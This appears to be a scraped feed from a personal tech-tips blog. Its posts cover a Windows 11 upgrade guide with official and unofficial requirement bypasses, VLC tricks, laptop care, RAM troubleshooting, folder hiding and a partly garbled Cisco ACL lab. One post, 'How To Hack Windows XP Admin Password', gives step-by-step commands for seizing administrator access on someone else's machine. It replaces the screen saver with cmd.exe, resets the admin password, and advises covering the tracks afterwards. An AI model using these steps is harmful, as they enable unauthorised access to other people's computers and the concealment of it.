Braniac Bhai

How to update windows 10 to windows 11

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Tue, 02 Nov 2021 10:36:00 +0000

Windows 11 is here. And now that you've had time to read our full review, you might be thinking about installing the upgrade on your own PC.

We think most people should wait a few months to give Microsoft time to iron out Windows 11's biggest new-operating-system bugs and finish releasing updates for Windows' built-in apps. But you may want to install the operating system anyway because you want to test it or because you like to run the newest thing. Or maybe you'd like to install Windows 11 on an "unsupported" PC because Microsoft is not your parent and therefore cannot tell you what to do.

We've pulled together all kinds of resources to create a comprehensive install guide to upgrading to Windows 11. This includes advice and some step-by-step instructions for turning on officially required features like your TPM and Secure Boot, as well as official and unofficial ways to skirt the system-requirement checks on unsupported PCs.

I've had Windows 11 running on PCs as old as a Dell Inspiron 530 from 2008, and while I'm not saying this is something you should do, it is something that you can do.

How do I get Windows 11?
Do I need to pay for it?
What does my PC need to be “supported”?
How can I tell if my PC is supported?
How do I get into my PC’s BIOS?
How do I enable my TPM?
How do I enable Secure Boot?
OK, what if my PC is unsupported?
Installing on a PC with Secure Boot and any kind of TPM
Installing on a PC without Secure Boot or a TPM
Installing on a PC without a 64-bit CPU
What are the risks of running Windows 11 on an unsupported PC?
Should I go through with an unsupported install anyway?

How do I get Windows 11?

The easiest way to get Windows 11 is by checking Windows Update on a supported, fully up-to-date Windows 10 PC. But because Microsoft is rolling out Windows 11 slowly over the course of many months, your PC may not see it yet.

Microsoft offers several ways to download Windows 11 manually. One is to use the Installation Assistant app, which you install on your PC to trigger a normal upgrade install via Windows Update. The second is to use the Windows 11 Media Creation Tool, which automates the process of creating a bootable USB install drive or downloading an install ISO file. Once you have a USB drive, you can either boot from it to perform a clean install or run the Setup app from within Windows 10 to do a normal upgrade install. You can also burn the ISO to a DVD, but installing from any USB drive, even an old USB 2.0 drive, will be much faster, so you shouldn’t do that. Finally, you can just download an ISO file directly from Microsoft’s site.

Do I need to pay for it?

Windows 11 is a free upgrade to Windows 10. So if you're running Windows 10 Home or Pro on your PC, regardless of whether your PC is officially supported or not, you'll be able to install and activate the equivalent edition of Windows 11.

If you're installing Windows 11 on a new PC you've just built yourself, officially, you should buy a Windows 10 or Windows 11 license. As of this writing, the only sites I see selling retail editions of Windows 11 are scammy product key websites that I wouldn't trust with my credit card info, so I would recommend buying a Windows 10 license from a reputable site. Its product key should work to install and activate Windows 11.

Unofficially, I've had some success using old Windows 7 and Windows 8 product keys to activate equivalent editions of Windows 11—it's an open secret that the Windows 10 installer would continue to accept these older product keys long after the "official" free Windows 10 upgrade offer expired back in 2016. But we've also heard from readers who have had trouble using these keys with Windows 11 or later Windows 10 releases, so your luck may vary.

What does my PC need to be “supported”?

Let’s reiterate the Windows 11 system requirements:

A "compatible" 1 GHz or faster dual-core 64-bit processor from Intel, AMD, or Qualcomm
4GB of RAM
64GB of storage
UEFI Secure Boot supported and enabled
A Trusted Platform Module (TPM), version 2.0
A DirectX 12-compatible GPU with a WDDM 2.0 driver
A 720p display larger than 9 inches in size

Windows 11 Home requires a Microsoft account and Internet connectivity; Windows 11 Pro can still be used with a local account. Windows 10 Home used to let you create a local account as long as you didn't connect to the Internet during setup, but that trick no longer works.

The processor requirement is the most restrictive; supported processors include 8th-generation and newer Intel Core processors as well as AMD Ryzen 2000-series processors and newer. These are all chips that launched in late 2017 and early 2018. Older computers can’t officially run Windows 11. This is a big departure from Windows 10, which made a point of supporting pretty much anything that could run Windows 7 or Windows 8.

We get more into the reasoning behind these requirements (and whether they hold water) in our review. But the three big ones are the CPU requirement, the TPM requirement, and the Secure Boot requirement.

How can I tell if my PC is supported?

When you open Windows Update in Windows 10, it might tell you whether your PC is supported or not. But the easiest way to check manually is with Microsoft’s PC Health Check app. Early versions of this app weren’t very good, but the current version will tell you whether your PC is compatible as well as why it is or isn’t compatible.

If you aren’t using a supported processor, either plan to upgrade to a CPU that is supported or skip ahead to the section where we talk about installing Windows 11 on unsupported PCs.

If your processor is supported but you don’t meet the TPM or Secure Boot requirements, the good news is that unless something is very wrong with your PC, they should both be features you can enable in your PC’s BIOS.

How do I get into my PC’s BIOS?

Usually, you can enter your BIOS by pressing some key after turning on your PC but before Windows begins to boot. The key varies, but common ones include the Delete key, F2 (for Dell systems), F1 (for Lenovo systems), or F10 (for HP systems).

The consistent but more roundabout way of opening your BIOS is to go to the Windows Settings app, then Windows Update, then Recovery, and then Restart Now under “Advanced startup.” In the basic blue screen you see next, click Troubleshoot, then Advanced options, then UEFI Firmware Settings.

How do I enable my TPM?

Enabling your processor’s built-in firmware TPM is easy, but finding the setting to do it sometimes isn’t. If you’re not sure what you’re doing, try searching for “[manufacturer of your computer or motherboard] enable TPM,” because many manufacturers have created help pages specifically because of Windows 11.

For Intel systems, if you can’t find a setting marked “TPM” somewhere in the chipset or security settings, look for “Platform Trust Technology” or “PTT” and enable that. AMD systems usually just refer to it as an “fTPM,” though you may also see it called the “Platform Security Processor,” or “PSP.”

Once you’ve enabled your TPM, reboot into Windows and use the Health Check app to make sure it’s working properly.

How do I enable Secure Boot?

Any computer made since Windows 8 was released in 2012 ought to support Secure Boot, which helps prevent unsigned and potentially malicious software from being loaded during your PC’s boot process. You should be able to turn it on in your PC’s BIOS if it isn’t already enabled, usually either in a “Security” or “Boot” section. As with enabling your TPM, if you can’t find the setting, check your PC's or motherboard’s manual.

If your computer won’t boot after you enable Secure Boot, don’t worry—you just need to go through a couple of additional steps. Failure to boot is most likely because your hard drive or SSD is set up with an MBR (or Master Boot Record) partition table rather than the newer GPT (GUID Partition Table) format that Secure Boot and UEFI both require.

To check, right-click the Start button or use the Windows + X keyboard shortcut and then click Disk Management in the menu that pops up. Right-click whatever drive that Windows is installed on (in most computers, it will be Disk 0, but not always if you have multiple hard drives), then click Properties, then check the Volumes tab. If your partition style is listed as MBR, that's when you'll need to convert the drive.

If your drive uses the older MBR partition style, you will need to convert it to GPT before you can

enable Secure Boot.

To convert from MBR to GPT in Windows 10:

Open Settings, then Windows Update, then Recovery, and click "Restart now" under "Advanced startup."
When your PC reboots, click the Troubleshoot button, then Advanced options, then Command Prompt.
In the Command Prompt window, type mbr2gpt /validate to check to make sure the drive can be converted. Then, type mbr2gpt /convert to convert the drive.
When it's finished, re-enable Secure Boot in your BIOS, and your PC should boot normally.

If this conversion fails for some reason, the easiest option may be to do a clean reinstall of Windows 10 or 11 with Secure Boot enabled. When you format the drive and install Windows from a bootable USB stick, it will use GPT instead of MBR.

OK, what if my PC is unsupported?

One of many different versions of this screen that the Windows 11 installer will show you if your PC

doesn't meet the requirements.

Andrew Cunningham

Here’s where things start to get fun (and by “fun," I mean “frustrating and moderately risky”).

Officially, any PC that doesn’t meet all of Windows 11’s requirements gets treated the same. Unsupported means unsupported, and Microsoft doesn’t want you running Windows 11 on your PC. At all.

Unofficially, the Windows 11 installer distinguishes between two broad groups of unsupported PCs: there are PCs that support Secure Boot and have any kind of TPM at all, even an older TPM 1.2 module. And there are PCs that are missing one or both of those features.

The short version is that if you bought your PC with Windows 8 or Windows 10 on it, an unsupported installation isn’t too difficult. If your PC was made to run Windows 7 or something even older (and if it still meets the 64-bit processor and RAM requirements), then it’s more difficult, and you really should just continue running Windows 10 on those computers.

Installing on a PC with Secure Boot and any kind of TPM

If you’re running the Windows 11 installer from within Windows to perform an upgrade install, the installer will refuse to run if your PC fails to meet the CPU or TPM requirements. This barrier to entry will keep casual users from downloading and installing Windows 11 on unsupported computers easily.

But Microsoft has published a bypass for those who really want to install Windows 11 on hardware that at least supports Secure Boot and some kind of TPM. It requires a trip to the Registry Editor, so tread lightly and make sure your important data is backed up.

Press Windows + R and type regedit and press Enter to open the Registry Editor.
Navigate to HKEY_LOCAL_MACHINE\SYSTEM\Setup\MoSetup. Note that in my testing, the MoSetup folder didn't exist until I had already run the Windows 11 installer and allowed it to fail. You can create it yourself if it isn't there.
Right-click the MoSetup folder and create a new DWORD value named AllowUpgradesWithUnsupportedTPMOrCPU (this is case-sensitive, so pay close attention to the capital letters).
Double-click the entry you just created and change the value from 0 to 1.

Windows 11 will now install normally, though you will see this update warning before you’re allowed to progress:

When installing on a system with an older CPU or TPM 1.2 module, you'll need to acknowledge seeing

this warning about running on unsupported hardware before you can proceed with an upgrade install.

If you just want to do a clean install from a bootable USB drive, the Windows 11 USB installer will run normally on any PC as long as Secure Boot is enabled and some flavor of TPM is present, no registry edits required. This is convenient if you’re just installing Windows 11 for testing purposes or if you typically do a clean install any time you install a major OS update.

These "hard floor" requirements, which Microsoft posted and then quickly pulled from one of its sites

after Windows 11 launched, seem to be what the bootable USB version of the Windows 11 installer is

looking for.

If you were paying close attention right after Windows 11 was announced, you might remember that Microsoft briefly published a document with both “hard floor” and “soft floor” requirements for Windows, pictured above. Microsoft quickly removed this language, but it’s worth noting that the “hard floor” specs do seem to be what the bootable USB version of the Windows 11 installer is actually looking for.

Installing on a PC without Secure Boot or a TPM

If your computer is missing Secure Boot or any kind of TPM, Windows will still refuse to install, even with that registry edit. And the boot-from-USB trick won’t work either, at least not with the default settings.

As far as I can tell, there's no way to do an upgrade install with the release version of the Windows 11 installer on one of these old computers. But you can still run Windows 11 on these PCs if you boot from a USB drive and then make a couple of different registry edits:

Once you've booted to the Windows 11 Setup screen, press Shift + F10 to open a Command Prompt window, type regedit and press Enter to open the Registry Editor
Navigate to HKEY_LOCAL_MACHINE\SYSTEM\Setup. Right-click the Setup folder and create a new key called LabConfig (as with all registry edits, this is case-sensitive).
Right-click the LabConfig folder and create one new DWORD value named BypassTPMCheck and another named BypassSecureBootCheck. If your PC has Secure Boot but no TPM (or vice-versa), you can omit the key you don't need.
Double-click each entry you just created and change the values from 0 to 1. Proceed with the install as you normally would.

Using this method, I’ve been able to install and run Windows 11 on pretty much any 64-bit computer that could run Windows 10, including old pre-UEFI PCs like an HP Pavilion laptop with a first-generation Core i3 CPU and a Dell Inspiron PC with a Core 2 Duo processor and a Windows XP sticker on the front. I’m not recommending that you install Windows 11 on these kinds of machines! But there’s nothing in the OS that keeps it from booting and running.

This method should also work on newer computers where Secure Boot was disabled for some reason. But in those cases, I think the easier path forward is to enable Secure Boot, install Windows 11, and then disable it again.

Installing on a PC without a 64-bit CPU

There is literally no way to do this. Don't be silly.

What are the risks of running Windows 11 on an unsupported PC?

The most prominent risk you take with an unsupported Windows 11 PC is the one Microsoft makes you acknowledge before you install the OS: the company reserves the right to withhold updates, including security updates, from these machines.

Do I think Microsoft is likely to actually do that? For now, no. But I get the impression that Microsoft may not always leave a backdoor open for unsupported PCs in future iterations of Windows 11. And it seems like a pretty sure bet that installing Windows’ yearly servicing updates will be a bigger pain on unsupported systems than on supported ones.

The other risk you run, especially on computers made before 2015 or 2016, is introducing instability and having incompatible drivers. First-generation AMD Ryzen chips and 6th- and 7th-generation Intel Core processors aren’t on Microsoft’s support list, but they at least support the kinds of modern “DCH” drivers that Microsoft points to when it talks about the stability of Windows 11 systems.

But the farther back you go, the more you risk running into old graphics, trackpad, or networking drivers that can cause big problems if they’re not working properly. And PC makers and chipmakers are not going back to their 2013-era chips to release new drivers or check that their old ones are working, because as a rule, there is no incentive for doing that.

Should I go through with an unsupported install anyway?

That’s up to you. If you’re not ready to drop everything and do a clean reinstall of Windows if something breaks, definitely not.

But if you're running a first-gen Ryzen processor or a 6th- or 7th-generation Core processor and have 8GB or more of RAM, a reasonably modern integrated or dedicated GPU, and some kind of SSD, your Windows 11 experience should be pretty good. On the 6th-generation Dell Latitude laptop and Asus prebuilt gaming desktop I’ve tested the operating system on, I’ve generally found that driver support hasn’t been a problem and that Windows 11 runs about as well as Windows 10 did.

But on older computers, particularly those that shipped with Windows 7, Windows 8, or Windows 8.1, you’re probably better off continuing to run Windows 10. As Microsoft has reiterated, Windows 10 will continue getting security updates until October of 2025. And Windows 10’s ubiquity (and underlying similarity to Windows 11) means both OSes will run the same software for the foreseeable future. If your older PC is running Windows 10 now, and it’s running it well, quit while you’re ahead.

7 Things You Didn’t Know VLC Could Do

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Thu, 05 Jul 2012 22:37:00 +0000

7 Things You Didn’t Know VLC Could Do

VLC media player is one of the most popular player for most people. It as got almost all codecs. VLC can do a lot of other things beyond your imagination.

Find out how many of these listed below you knew, and how many you did not.

1. Rip DVDs:

VLC includes a basic DVD ripper. You probably would never use it when there are better DVD rippers available, but it helps to know that you can in fact, get a decent quality DVD rip with VLC. To rip a movie follow these steps: Go to the Media menu and choose Convert–>Save. Click on the Disc tab.

Here you can adjust the Starting Position and rip only specific titles or chapters.
Enter file name making sure to end with .MPG, and start ripping.
Click Save.

2. Record videos:

With the new VLC, you can record videos during playback. The record button is hidden by default. To see it, click on View–>Advanced Control. The record button will now appear. Clicking on the button while playing a movie or video will start recording. Clicking again will stop recording.

3. Play RAR files:

Do you know VLC can play videos zipped inside RAR files? They play like normal video files and you can even use the seek bar. If the RAR file is split into several files, no problem. Just load the first part (.part001.rar ) and it will automatically take the rest of the parts and play the whole file.

4. Play in ASCII mode:

VLC media player has an amusing ability, to playback movies in ASCII art. To enable ASCII mode, open VLC media player and click on Tools –>Preferences. Open the section “Video” section and under “Output” select “Color ASCII art video output” from the drop down menu. Save it. Now play any video file to enjoy the ASCII art.

5. Listen to online radio:

VLC includes hundreds of Shoutcast radio stations. You just need to enable it through Media –>Services Discovery –> Shoutcast radio listings. Now, open the Playlist and browse through the stations.

6. Convert Audio and Video formats:

In VLC you can convert video and audio files from one format to another. Several different formats are supported like MP4, WMV, AVI, OGG, MP3 etc. To access the converter:

* Go to Media –>Convert/Save.

* Load the file you want to convert using the Add button and click Convert.

* Now choose the output format and output file location.

7. Download YouTube and other online videos:

First grab the URL of the YouTube video page. Now click on Media –>Open Network stream.Paste the URL and click Play.

Once VLC starts streaming the video, click Tools –>Codec Information and at the bottom of the window you will see a Location box. Copy the URL and paste it on your browser’s address bar. The browser will now download the file which you can save it to your hard disk. Alternatively, you can record the video.

How to Create a New Folder using Windows Keyboard Shortcut Keys

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Thu, 05 Jul 2012 22:04:00 +0000

How to Create a New Folder using Windows Keyboard Shortcut Keys

Usually we create new folder in windows by right clicking and then going to New –> Folder. But how to create a new folder using keyboard shortcuts?

Hold down Alt key + F, then let go of the Alt key and press W + F.

This will create new folder.

The above step works for Windows XP, Vista and Windows 7.But Windows 7 is very much user friendly.Just press Ctrl + Shift + N to create a new folder instantly in Windows 7.

Tips for Maintaining Your Laptop

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Thu, 05 Jul 2012 21:49:00 +0000

Tips for Maintaining Your Laptop

Nowadays, many people are using laptops for their school work, business or leisure. However, laptops can lose their efficiency if not well-maintained. The following are some tips which will help enhance your laptop usage.

1. Watch out for dust

To ensure your laptop remains effective for a long time, you need to protect it from dust. An accumulation of dust in your laptop could block the ventilation areas and result in overheating. It is therefore very important to keep your laptop from being exposed to dust.

2. Keep it cool

Besides dust, it is also very important to protect your laptop from excessive heat. A laptop used in a cool, dry area will work more effectively and faster than if it was exposed to heat. To protect your laptop from overheating, avoid using it on your lap, bed or cushion since this will block the vents underneath which help in cooling. The best solution for this is to use a lap tray as a base for your laptop. Alternatively, you can invest in any of the laptop coolers which are sold in most computer stores.

3. Install a firewall and antivirus software

If you don’t use any antivirus, your laptop remains vulnerable to being infected by a virus. Make sure you use proper antivirus software to protect your laptop and keep it effective for longer. You should also install a firewall so as to restrict access to your laptop. A firewall will alert you anytime an external entity tries to access your laptop. You will then have the option of either blocking or allowing access. In addition, you need to be cautious about using external hard disks and flash disks with your laptop.

4. Eliminate unused programs

At times, you might have some programs in your laptop that you don’t really need. It is advisable to uninstall them so as to create more space in your hard drive. This will enable you to install other important applications and programs. Eliminating unused programs will also improve your laptop’s performance and make it easier to locate important files.

5. De-fragment hard drives

When you have many programs in your laptop, it will take time to locate your important files. It is therefore very vital to DE-fragment your drives frequently. De-fragmenting will arrange your files in a way which makes them much easier to access.

6. Clean your registry

Once in a while, registry files might get corrupted thus resulting in a drastic and sudden change in your laptop’s performance. Make sure you run your registry cleaners frequently to find out if there are any corrupt files or errors.

7. Minimize programs to run during start-up

Whenever you start your laptop, it will load all the system files, as well as the programs which have been selected to run during start-up. The more programs you run, the longer it takes to start-up. You should therefore minimize the number of programs that will run during the booting process.

8. Delete temporary internet files

Slow browsing speeds are often as a result of poor internet connection. However, in some cases, it might be due to too many temporary internet files saved in your laptop. You should therefore take time to delete such files from your laptop.

9. Empty the recycle bin

When files are deleted from your laptop, they end up in the recycle bin. This means that they are not actually deleted from the laptop; they have just been transferred to a different location. Thus, they still take up space in your hard drive. It is therefore important to empty your recycle bin as often as possible.

10. Power surge protection

Power surge protection is as important for laptops as it is for desktop computers. Replacing a laptop power supply is very costly compared to investing in a power surge protection device. Make sure you get one so as to protect the laptop itself, as well as your laptop power supply.

Talking Mobile Dictionary

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Thu, 05 Jul 2012 21:28:00 +0000

Talking Mobile Dictionary

Dictionary is very important parts of our life. We need to know some important word meaning. For this we search word meaning in fat and big dictionary. Today I give you a mobile a Talking Mobile Dictionary which can talk with you. It told you the meaning of the complex word. The mobile application for the English to English and English to Bengali Dictionary, rich in meaning, but they just can not show on the screen. The correct English pronunciation can be learned from this is not a smartphone. The problem is Talking Dictionary. As well as the proper British pronunciation of each word means antipasti be heard. In Hindi, Arabic, French, German, Spanish and Italian language word to be heard. There are copious in words as well as additional discriminate history, synonyms and opposite words. The limitation is, it does not have the benefit of listening to Bengali accent.

Download from here

How to Download
Click on the link wait 5 second and click ad skip on right upper side on the page.

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Thu, 23 Feb 2012 19:29:00 +0000

How to Troubleshoot RAM Memory

When you have memory problems, you know you are limited in your troubleshooting and hopefully you will be able to resolve the problem quickly. It’s a great idea to first verify the problem exist.

Shutdown and reboot your computer to see if the problem re-appears. Sometimes rebooting the PC will correct the problem and you'll be on your way.

Memory problems are normally caused by defective memory chips, installing the chips wrong, and the memory being configured improperly. So often, the suspected memory problem may be due to software, especially if new software was recently installed.

Many seemingly memory problems are sometimes problems coming from other components. If you see error messages on the monitor as the system boots up, be sure to write the message down for reference later in troubleshooting.

Memory problems can come from brand new computers. When this is the case, you’ll need to troubleshoot the computer as a whole. In this case, contacting your PC's support will be your first line of defense.

If The Computer Fails To Boot: If you installed new ram memory, check to be sure the memory modules are completely installed. It may be that they are not fully seated in their banks.

Check the same even if your computer is brand new. Installation at the factory often leads to computer failure by employees making mistakes when computer assembly is done.

If Computer boots but the screen is blank: this is another symptom of loose memory chips. Another cause may be you are installing the wrong type of memory.

This problem can also be caused by video display problems. If the monitor brightness and contrast are turned down, the blank screen will be the result. And a loose or uninstalled video card will produce the same failure.

If Computer Produce Error Codes: write the code or codes down and look up the codes in your user manual or support web site. If you install mismatched memory chips, certain error codes will appear.

If PC boots but all memory not recognized: check to see if you installed the right type of memory. Again, even if the computer is new, verify this by contacting your PC support by phone, or email.

THAT "General-Protection Faults" Error is caused when two or more software programs are trying to use the same memory address. In most cases, simply rebooting the computer will correct this.

How To Hack Windows XP Admin Password

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Wed, 22 Feb 2012 21:24:00 +0000

How To Hack Windows XP Admin Password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

And this changes the password on franks machine to blah and you’re in.

Note: Don’t forget to copy the contents of temphack back into the system32 dir to cover tracks.

Lock Any Folder Using DOS

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Wed, 22 Feb 2012 21:09:00 +0000

Lock Any Folder Using DOS

Friends Hide your folders with out using any soft. just go to,

Start.....>

run.....>

cmd....>

note 1 "_" give 1 space on that place

note 2 ex:- if your folder is at D drive then

-->first you D: and press enter after you write below command

-->Attrib "your folder name"_+r_+a_+s_+h

-->enter

-->if you want to view that folder then

you write same command use with -

like -->attrib "your folder name"_–r_–a_–s_–h

For example:

->first you D: and press enter after you write below command

-->Attrib "Wehackers"_+r_+a_+s_+h

-->enter

-->if you want to view that folder then

you write same command use with -

like -->attrib "Wehackers"_–r_–a_–s_–h

Note:

replace "_" by space.

Kill Yahoo Chat Room Ads

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Wed, 22 Feb 2012 20:40:00 +0000

Kill Yahoo Chat Room Ads...

Create a new text document, copy and paste the following...

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Yahoo\Pager\yurl]
"Finance Disclaimer"="http://msg.edit.yahoo.com/config/jlb"
"Chat Adurl"="http://chat.yahoo.com/c/msg/tabs.html?spaceid=21501837"

Doesn't matter what you name it, as long as you change it from .txt to .reg.

It works well with my Yahoo, should work the same for everyone else as well.

How to Configure Extended Access List On Router

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Tue, 21 Feb 2012 21:00:00 +0000

Configure Extended Access Lists

An extended ACL gives you much more power than just a standard ACL. Extended IP ACLs check both the source and destination packet addresses. They can also check for specific protocols, port numbers, and other parameters, which allow administrators more flexibility and control.


access-list access-list-number {permit | deny}
protocol source source-wildcard [operator port]
destination destination-wildcard [operator port]
[established] [log]

Command Parameters	Descriptions
*access-list*	Main command
*access-list-number*	Identifies the list using a number in the ranges of 100.199 or 2000. 2699.
*permit \| deny*	Indicates whether this entry allows or blocks the specified address.
*protocol*	IP, TCP, UDP, ICMP, GRE, or IGRP.
*source and destination*	Identifies source and destination IP addresses.
*source-wildcard and destination-wildcard*	The operator can be lt (less than), gt (greater than), eq (equal to), or neq (not equal to). The port number referenced can be either the source port or the destination port, depending on where in the ACL the port number is configured. As an alternative to the port number, well-known application names can be used, such as Telnet, FTP, and SMTP.
*established*	For inbound TCP only. Allows TCP traffic to pass if the packet is a response to an outbound-initiated session. This type of traffic has the acknowledgement (ACK) bits set. (See the Extended ACL with the Established Parameter example.)
*log*	Sends a logging message to the console.

Before we configure Extended Access list you should cram up some important port number

Well-Known Port Numbers and IP Protocols

Port Number	IP Protocol
20 (TCP)	FTP data
21 (TCP)	FTP control
23 (TCP)	Telnet
25 (TCP)	Simple Mail Transfer Protocol (SMTP)
53 (TCP/UDP)	Domain Name System (DNS)
69 (UDP)	TFTP
80 (TCP)	HTTP

In this article we will configure Extended access list. If you want to read the feature and characteristic of access list reads this previous article.

Access control list

In this article we will use a RIP running topology. Which we created in RIP routing practical.

Download this RIP routing topology and open it in packet tracer

Rip Routing

If you want to learn how we created this topology then read this article

Configure Rip Routing

Three basic steps to configure Extended Access List

Use the access-list global configuration command to create an entry in a Extended ACL.
Use the interface configuration command to select an interface to which to apply the ACL.
Use the ip access-group interface configuration command to activate the existing ACL on an interface.

With Access Lists you will have a variety of uses for the wild card masks, but typically For CCNA exam prospective you should be able to do following:

Block host to host

Block host to network

Block Network to network

Block telnet access for critical resources of company

Limited ftp access for user

Stop exploring of private network form ping

Limited web access

Configure established keyword

Block host to host

Task

You are the network administrator at ComputerNetworkingNotes.com. Your company hire a new employee and give him a pc 10.0.0.3. your company's critical record remain in 40.0.0.3. so you are asked to block the access of 40.0.0.3 from 10.0.0.3. while 10.0.0.3 must be able connect with other computers of network to perfom his task.

Decide where to apply ACL and in which directions.

As we are configuring Extended access list. With extended access list we can filter the packed as soon as it genrate. So we will place our access list on F0/0 of Router1841 the nearest port of 10.0.0.3

To configure Router1841 (Hostname R1) double click on it and select CLI
R1>enable R1#configure terminal Enter configuration commands, one per line. End with CNTL/Z. R1(config)#access-list 101 deny ip host 10.0.0.3 40.0.0.3 0.0.0.0 R1(config)#access-list 101 permit ip any any R1(config)#interface fastEthernet 0/0 R1(config-if)#ip access-group 101 in R1(config-if)#exit R1(config)#
Verify by doing ping from 10.0.0.3 to 40.0.0.3. It should be reqest time out. Also ping other computers of network including 40.0.0.2. ping shuld be sucessfully.

Block host to network

Task

Now we will block the 10.0.0.3 from gaining access on the network 40.0.0.0. ( if you are doing this practical after configuring pervious example don't forget to remove the last access list 101. With no access-list command. Or just close the packet tracer without saving and reopen it to be continue with this example.)
R1(config)#access-list 102 deny ip host 10.0.0.3 40.0.0.0 0.255.255.255 R1(config)#access-list 102 permit ip any any R1(config)#interface fastEthernet 0/0 R1(config-if)#ip access-group 102 in R1(config-if)#exit R1(config)#
Verify by doing ping from 10.0.0.3 to 40.0.0.3. and 40.0.0.2.It should be reqest time out. Also ping computers of other network. ping shuld be sucessfully.
Once you have calculated the wild card mask rest is same as we did in pervious example
R2>enable Enter configuration commands, one per line. End with CNTL/Z. R2(config)#access-list 2 deny 10.0.0.0 0.255.255.255 R2(config)#access-list 2 permit any R2(config)#interface fastethernet 0/1 R2(config-if)#ip access-group 2 out R2(config-if)#
To test first do ping from 10.0.0.3 to 40.0.0.3 it should be request time out as this packet will filter by ACL. Then ping 30.0.0.3 it should be successfully replay.

Network to Network Access List

Task

Student's lab is configured on the network of 10.0.0.0. While management's system remain in the network of 40.0.0.0. You are asked to stop the lab system from gaining access in management systems

Now we will block the network of 10.0.0.0 from gaining access on the network 40.0.0.0. ( if you are doing this practical after configuring pervious example don't forget to remove the last access list 101. With no access-list command. Or just close the packet tracer without saving and reopen it to be continue with this example.)
R1(config)#access-list 103 deny ip 10.0.0.0 0.255.255.255 40.0.0.0 0.255.255.255 R1(config)#access-list 103 permit ip any any R1(config)#interface fastethernet 0/0 R1(config-if)#ip access-group 103 in R1(config-if)#exit R1(config)#
Verify by doing ping from 10.0.0.3 and 10.0.0.2 to 40.0.0.3. and 40.0.0.2.It should be reqest time out. Also ping computers of other network. ping shuld be sucessfully.

Network to host

Task

For the final scenario you will block all traffic to 40.0.0.3 from the Network of 10.0.0.0 To accomplish this write an extended access list. The access list should look something like the following.
R1(config)#interface fastethernet 0/0 R1(config-if)#no ip access-group 103 in R1(config-if)#exit R1(config)#no access-list 103 deny ip 10.0.0.0 0.255.255.255 40.0.0.0 0.255.255.255 R1(config)#access-list 104 deny ip 10.0.0.0 0.255.255.255 40.0.0.3 0.0.0.0 R1(config)#access-list 104 permit ip any any R1(config)#interface fastethernet 0/0 R1(config-if)#ip access-group 104 in R1(config-if)#exit R1(config)#
Verify by doing ping from 10.0.0.3 and 10.0.0.2 to 40.0.0.3.It should be reqest time out. Also ping computers of other network. ping shuld be sucessfully.

Application based Extended Access list

In pervoius example we filter ip base traffic. Now we will filter applicaion base traffic. To do this practical either create a topology as shown in figure and enable telnet and http and ftp service on server or download this pre configured topology and load it in packet tracer.

Extended Access list

The established keyword

The established keyword is a advanced feature that will allow traffic through only if it sees that a TCP session is already established. A TCP session is considered established if the three-way handshake is initiated first. This keyword is added only to the end of extended ACLs that are filtering TCP traffic.

You can use TCP established to deny all traffic into your network except for incoming traffic that was first initiated from inside your network. This is commonly used to block all originating traffic from the Internet into a company's network except for Internet traffic that was first initiated from users inside the company. The following configuration would accomplish this for all TCP-based traffic coming in to interface serial 0/0/0 on the router:
R1(config)#access-list 101 permit tcp any any established R1(config)#interface serial 0/0/0 R1(config-if)#ip access-group 101 in R1(config-if)#exit
Although the access list is using a permit statement, all traffic is denied unless it is first established from the inside network. If the router sees that the three-way TCP handshake is successful, it will then begin to allow traffic through.

To test this access list double click on any pc from the network 10.0.0.0 and select web brower. Now give the ip of 30.0.0.2 web server. It should get sucessfully access the web page. Now go 30.0.0.2 and open command prompt. And do ping to 10.0.0.2 or any pc from the network the 10.0.0.0. it will request time out.

Stop ping but can access web server

We host our web server on 30.0.0.2. But we do not want to allow external user to ping our server as it could be used as denial of services. Create an access list that will filter all ping requests inbound on the serial 0/0/0 interface of router2.
R2(config)#access-list 102 deny icmp any any echo R2(config)#access-list 102 permit ip any any R2(config)#interface serial 0/0/0 R2(config-if)#ip access-group 102 in
To test this access list ping from 10.0.0.2 to 30.0.0.2 it should be request time out. Now open the web browser and access 30.0.0.2 it should be successfully retrieve

Grant FTP access to limited user

You want to grant ftp access only to 10.0.0.2. no other user need to provide ftp access on server. So you want to create a list to prevent FTP traffic that originates from the subnet 10.0.0.0/8, going to the 30.0.0.2 server, from traveling in on Ethernet interface E0/1 on R1.
R1(config)#access-list 103 permit tcp host 10.0.0.2 30.0.0.2 0.0.0.0 eq 20 R1(config)#access-list 103 permit tcp host 10.0.0.2 30.0.0.2 0.0.0.0 eq 21 R1(config)#access-list 103 deny tcp any any eq 20 R1(config)#access-list 103 deny tcp any any eq 21 R1(config)#access-list 103 permit ip any any R1(config)#interface fastethernet 0/1 R1(config-if)#ip access-group 103 in R1(config-if)#exit

Grant Telnet access to limited user

For security purpose you don't want to provide telnet access on server despite your own system. Your system is 10.0.0.4. create a extended access list to prevent telnet traffic that originates from the subnet of 10.0.0.0 to server.

R1(config)#access-list 104 permit tcp host 10.0.0.4 30.0.0.2 0.0.0.0 eq 23 R1(config)#access-list 104 deny tcp 10.0.0.0 0.255.255.255 30.0.0.2 0.0.0.0 eq 23 R1(config)#access-list 104 permit ip any any R1(config)#interface fast 0/1 R1(config-if)#ip access-group 104 in R1(config-if)#exit

How to Configure Standard Access List On Router

